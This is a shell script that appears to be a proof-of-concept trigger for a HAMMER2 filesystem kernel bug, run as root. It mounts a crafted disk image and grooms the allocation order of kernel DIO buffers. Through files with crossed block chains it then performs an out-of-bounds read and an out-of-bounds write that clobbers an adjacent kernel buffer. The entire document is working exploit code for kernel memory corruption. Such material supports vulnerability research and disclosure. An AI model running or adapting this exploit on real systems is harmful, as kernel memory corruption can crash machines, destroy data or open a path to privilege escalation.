#!/bin/sh
# DF-2616 variant D trigger (groomed OOB read + write) -- GUEST, root.
# Allocation order ensures the DIO buffer for window 0x1c10000 (f2's
# re-pointed victim block) is allocated immediately AFTER the DIO buffer
# for window 0x1c00000 (f1's crossed window), so the 0x300 bytes past the
# end of window1's 64KB kernel buffer land at the START of window2's
# kernel buffer (if kmem allocations are sequential).
(printf 'DF2616OOBWRITE'; yes DF2616OOBWRITE | head -c 4096) | head -c 1024 > /tmp/pat.bin
(printf 'JUNKJUNK'; yes JUNKJUNK | head -c 4096) | head -c 1024 > /tmp/junk.bin
vnconfig -u vn0 2>/dev/null
vnconfig -c vn0 /root/poc/h2_C_victim.img || exit 1
mkdir -p /mnt/h2
mount -t hammer2 /dev/vn0@testvol /mnt/h2 || { echo "MOUNT FAILED"; exit 1; }
echo "ILLEGAL_COUNT_BEFORE=$(dmesg | grep -c 'Illegal:')"
echo "=== step 1: read f3 (allocates DIO buf for window 0x1c00000) ==="
dd if=/mnt/h2/f3 bs=64 count=2 2>/dev/null | hexdump -C | head -3
echo "=== step 2: read f2 (allocates DIO buf for window 0x1c10000) ==="
dd if=/mnt/h2/f2 bs=64 count=2 2>/dev/null | hexdump -C | head -3
echo "=== step 3: read f1 (CROSSED chain: OOB read past window1 buf) ==="
dd if=/mnt/h2/f1 bs=519 count=1 2>/dev/null | hexdump -C
echo "ILLEGAL_COUNT_AFTER_READ=$(dmesg | grep -c 'Illegal:')"
echo "=== step 4: write junk to f2 (in-place, dirties window2 DIO buf) ==="
dd if=/tmp/junk.bin of=/mnt/h2/f2 bs=1024 count=1 conv=notrunc 2>&1 | tail -1
echo "=== step 5: write pattern to f1 (CROSSED: 0x300 bytes past window1 buf) ==="
dd if=/tmp/pat.bin of=/mnt/h2/f1 bs=1024 count=1 conv=notrunc 2>&1 | tail -1
sync
sleep 1
echo "=== step 6: umount (flushes window2 DIO incl. any OOB clobber) ==="
umount /mnt/h2
echo "UMOUNT_RC=$?"
vnconfig -u vn0
echo "=== DONE ==="